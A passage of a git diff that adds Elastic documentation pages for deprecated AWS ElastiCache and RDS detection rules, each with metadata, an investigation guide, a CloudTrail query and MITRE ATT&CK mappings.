+- Analyze the configuration of the newly created ElastiCache security group to identify any overly permissive rules or unusual configurations that could indicate malicious intent.
+- Correlate this event with other recent activities in the AWS account, such as changes to IAM policies or unusual login attempts, to assess if this is part of a broader attack pattern.
+
+
+*False positive analysis*
+
+
+- Routine administrative actions by authorized personnel can trigger this rule. Regularly review and document legitimate security group creation activities to differentiate them from suspicious actions.
+- Automated processes or scripts that create security groups as part of normal operations may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts.
+- Infrastructure as Code (IaC) tools like Terraform or CloudFormation might create security groups during deployments. Ensure these tools and their actions are well-documented and consider excluding their known patterns from triggering alerts.
+- Development and testing environments often involve frequent creation and deletion of resources, including security groups. Establish separate monitoring rules or exceptions for these environments to reduce noise.
+- Scheduled maintenance or updates that involve security group modifications should be communicated to the security team in advance, allowing them to temporarily adjust monitoring rules or expectations.
+
+
+*Response and remediation*
+
+
+- Immediately review the newly created ElastiCache security group to verify its necessity and ensure it aligns with organizational security policies. If unauthorized, proceed to delete the security group to prevent potential misuse.
+- Conduct a thorough audit of recent IAM activity to identify any unauthorized access or privilege escalation that may have led to the creation of the security group. Pay special attention to any anomalies in user behavior or access patterns.
+- Isolate any affected ElastiCache instances by temporarily restricting access to them until a full assessment is completed. This helps prevent any potential data exfiltration or unauthorized access.
+- Notify the security operations team and relevant stakeholders about the incident for further investigation and to ensure awareness across the organization.
+- Implement additional monitoring on the AWS account to detect any further unauthorized changes to security groups or other critical configurations, enhancing the detection capabilities for similar threats.
+- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized security group creation in the future.
+- If the incident is confirmed as malicious, escalate to the incident response team for a comprehensive investigation and to determine if further actions, such as legal or regulatory reporting, are necessary.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:"Create Cache Security Group" and
+event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Firewall
+** ID: T1562.007
+** Reference URL: https://attack.mitre.org/techniques/T1562/007/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
new file mode 100644
index 0000000000..96514d576f
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc
@@ -0,0 +1,122 @@
+[[deprecated-aws-elasticache-security-group-modified-or-deleted]]
+=== Deprecated - AWS ElastiCache Security Group Modified or Deleted
+
+Identifies when an ElastiCache security group has been modified or deleted. Amazon EC2-Classic and ElastiCache CacheSecurityGroups have been retired. Modern ElastiCache deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting ElastiCache in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonElastiCache/latest/APIReference/Welcome.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS ElastiCache Security Group Modified or Deleted*
+
+
+AWS ElastiCache security groups control inbound and outbound traffic to cache clusters, ensuring only authorized access. Adversaries may modify or delete these groups to bypass security controls, facilitating unauthorized data access or exfiltration. The detection rule monitors specific API actions related to security group changes, flagging successful modifications or deletions as potential defense evasion attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.provider: elasticache.amazonaws.com to identify the user or role that initiated the security group modification or deletion.
+- Examine the event.action field to determine the exact action taken, such as "Delete Cache Security Group" or "Authorize Cache Security Group Ingress", and assess the potential impact on security posture.
+- Check the event.outcome field to confirm the success of the action and correlate it with any other suspicious activities in the same timeframe.
+- Investigate the source IP address and location associated with the event to determine if it aligns with expected administrative activity.
+- Review the AWS IAM policies and permissions associated with the user or role to ensure they are appropriate and have not been overly permissive.
+- Assess the affected ElastiCache clusters to determine if any unauthorized access or data exfiltration attempts have occurred following the security group change.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities by authorized personnel can trigger alerts when they modify security groups for legitimate reasons. To manage this, create exceptions for known maintenance windows or specific user actions.
+- Automated scripts or tools used for infrastructure management might modify security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific user or role identifiers.
+- Changes made by cloud management platforms or third-party services that integrate with AWS may also result in false positives. Review and whitelist these services if they are verified as non-threatening.
+- Regular updates or deployments that require temporary security group modifications can be mistaken for suspicious activity. Document these processes and adjust the detection rule to account for these expected changes.
+- Ensure that any changes made by trusted IP addresses or within a specific network range are reviewed and potentially excluded from alerting, as they may represent internal, authorized activities.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected ElastiCache instance by applying restrictive security group rules to prevent further unauthorized access.
+- Review CloudTrail logs to identify any unauthorized API calls related to the security group modifications and determine the source of the changes.
+- Revert any unauthorized changes to the ElastiCache security groups by restoring them to their previous state using backups or documented configurations.
+- Conduct a thorough investigation to identify any data exfiltration or unauthorized access that may have occurred due to the security group changes.
+- Escalate the incident to the security operations team for further analysis and to determine if additional security measures are required.
+- Implement additional monitoring and alerting for changes to ElastiCache security groups to ensure rapid detection of similar threats in the future.
+- Review and update IAM policies to ensure that only authorized personnel have permissions to modify ElastiCache security groups, reducing the risk of future unauthorized changes.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:elasticache.amazonaws.com and event.action:("Delete Cache Security Group" or
+"Authorize Cache Security Group Ingress" or  "Revoke Cache Security Group Ingress" or "AuthorizeCacheSecurityGroupEgress" or
+"RevokeCacheSecurityGroupEgress") and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Cloud Firewall
+** ID: T1562.007
+** Reference URL: https://attack.mitre.org/techniques/T1562/007/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-cluster-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-cluster-creation.asciidoc
new file mode 100644
index 0000000000..744e08efa2
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-cluster-creation.asciidoc
@@ -0,0 +1,125 @@
+[[deprecated-aws-rds-cluster-creation]]
+=== Deprecated - AWS RDS Cluster Creation
+
+Identifies the creation of a new Amazon Relational Database Service (RDS) Aurora DB cluster or global database spread across multiple regions.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-db-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBCluster.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/create-global-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateGlobalCluster.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Cluster Creation*
+
+
+Amazon RDS facilitates database management by automating tasks like hardware provisioning and backups. Adversaries may exploit RDS by creating unauthorized clusters to exfiltrate data or establish persistence. The detection rule monitors successful creation events of RDS clusters, flagging potential misuse by correlating specific actions and outcomes, thus aiding in identifying unauthorized activities.
+
+
+*Possible investigation steps*
+
+
+- Review the event details in AWS CloudTrail to confirm the event.dataset is 'aws.cloudtrail' and the event.provider is 'rds.amazonaws.com', ensuring the alert is based on the correct data source.
+- Verify the identity of the user or service account that initiated the CreateDBCluster or CreateGlobalCluster action by examining the user identity information in the event logs.
+- Check the event time and correlate it with any other suspicious activities or alerts in the same timeframe to identify potential patterns or coordinated actions.
+- Investigate the source IP address and geolocation associated with the event to determine if it aligns with expected access patterns or if it indicates unauthorized access.
+- Assess the configuration and settings of the newly created RDS cluster, including security groups, network settings, and any associated IAM roles, to identify potential security misconfigurations or vulnerabilities.
+- Review the AWS account's recent activity for any other unusual or unauthorized actions that might indicate broader compromise or misuse.
+
+
+*False positive analysis*
+
+
+- Routine maintenance or testing activities by authorized personnel can trigger alerts. To manage this, create exceptions for specific user accounts or roles known to perform these tasks regularly.
+- Automated scripts or tools used for infrastructure management might create RDS clusters as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific tags or identifiers.
+- Scheduled deployments or updates that involve creating new RDS clusters can be mistaken for unauthorized activity. Document these schedules and configure the detection rule to ignore events during these timeframes.
+- Development or staging environments often involve frequent creation and deletion of RDS clusters. Exclude these environments from monitoring by filtering based on environment-specific tags or naming conventions.
+- Partner or third-party integrations that require creating RDS clusters should be reviewed and whitelisted if deemed non-threatening, ensuring that their actions do not generate false positives.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the newly created RDS cluster to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.
+- Review CloudTrail logs to identify the IAM user or role responsible for the creation of the RDS cluster. Verify if the action was authorized and if the credentials have been compromised.
+- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.
+- Conduct a thorough audit of the RDS cluster configuration and data to assess any potential data exposure or integrity issues. If sensitive data is involved, consider notifying relevant stakeholders and following data breach protocols.
+- Implement additional monitoring and alerting for RDS-related activities, focusing on unusual patterns or actions that align with persistence tactics, to enhance detection capabilities.
+- Escalate the incident to the security operations team for further investigation and to determine if additional containment or remediation actions are necessary.
+- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized RDS cluster creation in the future.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(CreateDBCluster or CreateGlobalCluster) and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: External Remote Services
+** ID: T1133
+** Reference URL: https://attack.mitre.org/techniques/T1133/
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-cluster-stoppage.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-cluster-stoppage.asciidoc
new file mode 100644
index 0000000000..113794f00e
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-cluster-stoppage.asciidoc
@@ -0,0 +1,121 @@
+[[deprecated-aws-rds-instance-cluster-stoppage]]
+=== Deprecated - AWS RDS Instance/Cluster Stoppage
+
+Identifies that an Amazon Relational Database Service (RDS) cluster or instance has been stopped.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-cluster.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBCluster.html
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/rds/stop-db-instance.html
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_StopDBInstance.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Instance/Cluster Stoppage*
+
+
+Amazon RDS is a managed database service that simplifies database setup, operation, and scaling. Adversaries may stop RDS instances or clusters to disrupt services, potentially causing data unavailability or loss. The detection rule monitors AWS CloudTrail logs for successful stop actions on RDS resources, alerting analysts to potential unauthorized disruptions aligned with impact tactics.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs to identify the user or role associated with the StopDBCluster or StopDBInstance action to determine if the action was authorized.
+- Check the event time and correlate it with any scheduled maintenance or known operational activities to rule out legitimate stoppage.
+- Investigate the source IP address and location from which the stop action was initiated to identify any anomalies or unauthorized access.
+- Examine the AWS IAM policies and permissions associated with the user or role to ensure they align with the principle of least privilege.
+- Look for any related alerts or logs around the same timeframe that might indicate a broader security incident or unauthorized access attempt.
+- Contact the relevant database or application owner to confirm whether the stoppage was planned or expected.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities may trigger stop actions on RDS instances or clusters. To manage this, create exceptions for scheduled maintenance windows by excluding events occurring during these times.
+- Development and testing environments often involve frequent stopping and starting of RDS instances. Identify and exclude these environments from alerts by using tags or specific instance identifiers.
+- Automated scripts or tools used for cost-saving measures might stop RDS instances during off-peak hours. Review and whitelist these scripts by verifying their source and purpose.
+- User-initiated stop actions for legitimate reasons, such as troubleshooting or configuration changes, can be excluded by maintaining a list of authorized personnel and their activities.
+- CloudFormation or other infrastructure-as-code tools may stop RDS instances as part of deployment processes. Exclude these actions by identifying and filtering events associated with these tools.
+
+
+*Response and remediation*
+
+
+- Immediately verify the legitimacy of the stop action by reviewing the associated CloudTrail logs, focusing on the user identity, source IP, and time of the event to determine if the action was authorized.
+- If unauthorized, isolate the affected RDS instance or cluster by disabling any associated IAM user or role that performed the stop action to prevent further unauthorized access.
+- Restore the RDS instance or cluster from the latest backup or snapshot to minimize data unavailability and ensure service continuity.
+- Conduct a root cause analysis to identify how the unauthorized stop action was executed, focusing on potential security gaps in IAM policies or network configurations.
+- Implement additional security measures, such as enabling multi-factor authentication (MFA) for all IAM users and roles with permissions to stop RDS instances or clusters.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted.
+- Update the incident response plan to include lessons learned from this event, ensuring quicker and more effective responses to similar threats in the future.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:(StopDBCluster or StopDBInstance) and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Service Stop
+** ID: T1489
+** Reference URL: https://attack.mitre.org/techniques/T1489/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-creation.asciidoc
new file mode 100644
index 0000000000..13d1b19409
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-instance-creation.asciidoc
@@ -0,0 +1,115 @@
+[[deprecated-aws-rds-instance-creation]]
+=== Deprecated - AWS RDS Instance Creation
+
+Identifies the creation of an Amazon Relational Database Service (RDS) Aurora database instance.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBInstance.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Use Case: Asset Visibility
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Instance Creation*
+
+
+Amazon RDS simplifies database management by automating tasks like provisioning and scaling. However, adversaries may exploit this by creating unauthorized instances to exfiltrate data or establish persistence. The detection rule monitors successful RDS instance creations, focusing on specific AWS CloudTrail events, to identify potential misuse and ensure asset visibility.
+
+
+*Possible investigation steps*
+
+
+- Review the CloudTrail logs for the specific event.action:CreateDBInstance to gather details about the RDS instance creation, including the timestamp, user identity, and source IP address.
+- Verify the user identity associated with the event to determine if the action was performed by an authorized user or service account. Check for any anomalies in user behavior or access patterns.
+- Investigate the source IP address to identify if it is associated with known internal or external entities, and assess if it aligns with expected network activity.
+- Examine the AWS account and region where the RDS instance was created to ensure it aligns with organizational policies and expected usage patterns.
+- Check for any related events or activities in CloudTrail logs around the same timeframe, such as modifications to security groups or IAM policies, which might indicate further unauthorized actions.
+- Assess the configuration and settings of the newly created RDS instance, including database engine, instance class, and network settings, to ensure they comply with security and compliance standards.
+
+
+*False positive analysis*
+
+
+- Routine maintenance or testing activities by authorized personnel may trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts involved in these activities.
+- Automated scripts or tools used for legitimate database provisioning can cause false positives. Identify these scripts and exclude their associated user accounts or roles from triggering alerts.
+- Development or staging environments often have frequent instance creations that are non-threatening. Exclude these environments by filtering based on tags or specific resource identifiers.
+- Third-party integrations or services that require RDS instance creation might be flagged. Review and whitelist these services by their IAM roles or API calls.
+- Scheduled scaling operations that automatically create instances can be mistaken for unauthorized activity. Document and exclude these operations by their specific time frames or automation identifiers.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the newly created RDS instance to prevent any unauthorized access or data exfiltration. This can be done by modifying the security group rules to restrict inbound and outbound traffic.
+- Review the CloudTrail logs to identify the IAM user or role responsible for the RDS instance creation. Verify if the action was authorized and if the credentials have been compromised.
+- Revoke any suspicious or unauthorized IAM credentials and rotate keys for affected users or roles to prevent further unauthorized actions.
+- Conduct a thorough audit of the RDS instance configuration, including database parameters and access controls, to ensure no sensitive data has been exposed or altered.
+- Notify the security operations team and relevant stakeholders about the incident for further investigation and to determine if additional systems have been affected.
+- Implement additional monitoring and alerting for unusual RDS activities, such as unexpected instance creations or modifications, to enhance detection capabilities.
+- Review and update IAM policies to enforce the principle of least privilege, ensuring that only authorized users have the necessary permissions to create RDS instances.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBInstance and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-creation.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-creation.asciidoc
new file mode 100644
index 0000000000..db1b5a9710
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-creation.asciidoc
@@ -0,0 +1,121 @@
+[[deprecated-aws-rds-security-group-creation]]
+=== Deprecated - AWS RDS Security Group Creation
+
+Identifies the creation of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Security Group Creation*
+
+
+Amazon RDS Security Groups control access to RDS instances, acting as virtual firewalls. Adversaries may exploit this by creating unauthorized security groups to maintain persistence or exfiltrate data. The detection rule monitors successful creation events of RDS security groups, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized access attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs for the event.action:CreateDBSecurityGroup to identify the user or role responsible for the creation of the RDS security group.
+- Check the event.provider:rds.amazonaws.com logs to gather additional context about the RDS instance associated with the newly created security group.
+- Investigate the event.outcome:success logs to confirm the successful creation and assess if it aligns with expected administrative activities.
+- Analyze the associated AWS account and user activity to determine if there are any anomalies or unauthorized access patterns.
+- Cross-reference the security group details with existing security policies to ensure compliance and identify any deviations.
+- Evaluate the permissions and rules associated with the new security group to assess potential risks or exposure to sensitive data.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks may trigger the rule when authorized personnel create new RDS security groups for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these tasks and create exceptions for them.
+- Automated deployment tools or scripts that create RDS security groups as part of infrastructure provisioning can lead to false positives. Identify these tools and their associated accounts, then configure the rule to exclude these specific actions.
+- Scheduled maintenance or updates that involve creating new security groups might be flagged. Document these scheduled activities and adjust the rule to recognize and exclude them during the specified time frames.
+- Testing environments where security groups are frequently created and deleted for development purposes can generate alerts. Implement tagging or naming conventions for test environments and exclude these from the rule's scope.
+
+
+*Response and remediation*
+
+
+- Immediately review the AWS CloudTrail logs to confirm the unauthorized creation of the RDS security group and identify the source IP and user account involved in the action.
+- Revoke any unauthorized security group rules associated with the newly created RDS security group to prevent further unauthorized access or data exfiltration.
+- Temporarily disable or delete the unauthorized RDS security group to contain the threat and prevent persistence.
+- Conduct a thorough audit of all AWS IAM roles and permissions to ensure that only authorized users have the ability to create or modify RDS security groups.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised.
+- Implement additional monitoring and alerting for any future RDS security group creation events to quickly detect and respond to similar threats.
+- Review and update AWS security policies and access controls to prevent unauthorized security group creation, ensuring alignment with best practices for least privilege.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBSecurityGroup and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create Account
+** ID: T1136
+** Reference URL: https://attack.mitre.org/techniques/T1136/
+* Sub-technique:
+** Name: Cloud Account
+** ID: T1136.003
+** Reference URL: https://attack.mitre.org/techniques/T1136/003/
diff --git a/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-deletion.asciidoc b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-deletion.asciidoc
new file mode 100644
index 0000000000..7f341ce0ac
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/deprecated-aws-rds-security-group-deletion.asciidoc
@@ -0,0 +1,116 @@
+[[deprecated-aws-rds-security-group-deletion]]
+=== Deprecated - AWS RDS Security Group Deletion
+
+Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Security Group Deletion*
+
+
+Amazon RDS Security Groups control access to RDS instances, acting as a virtual firewall. Adversaries may delete these groups to disrupt database access or cover their tracks. The detection rule monitors AWS CloudTrail logs for successful deletion events of RDS Security Groups, signaling potential unauthorized activity. This helps security analysts quickly identify and respond to suspicious deletions.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs to confirm the event details, focusing on the event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup fields to ensure the deletion event is accurately captured.
+- Identify the user or role associated with the event by examining the user identity information in the CloudTrail logs to determine if the action was performed by an authorized entity.
+- Check the event time and correlate it with other security events or alerts to identify any suspicious activity patterns or sequences that might indicate a broader attack.
+- Investigate the context of the deletion by reviewing recent changes or activities in the AWS account, such as modifications to IAM policies or unusual login attempts, to assess if the deletion is part of a larger unauthorized access attempt.
+- Contact the relevant database or cloud infrastructure team to verify if the deletion was intentional and authorized, ensuring that it aligns with any ongoing maintenance or decommissioning activities.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities by authorized personnel may trigger the rule. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks.
+- Automated scripts or tools used for infrastructure management might delete security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags.
+- Changes in security group configurations during scheduled updates or migrations can result in deletions. Document these events and adjust the detection rule to ignore deletions during these planned activities.
+- Testing environments often involve frequent creation and deletion of resources, including security groups. Exclude these environments from monitoring by using environment-specific tags or identifiers.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected RDS instance by modifying its security group settings to restrict all inbound and outbound traffic, preventing further unauthorized access.
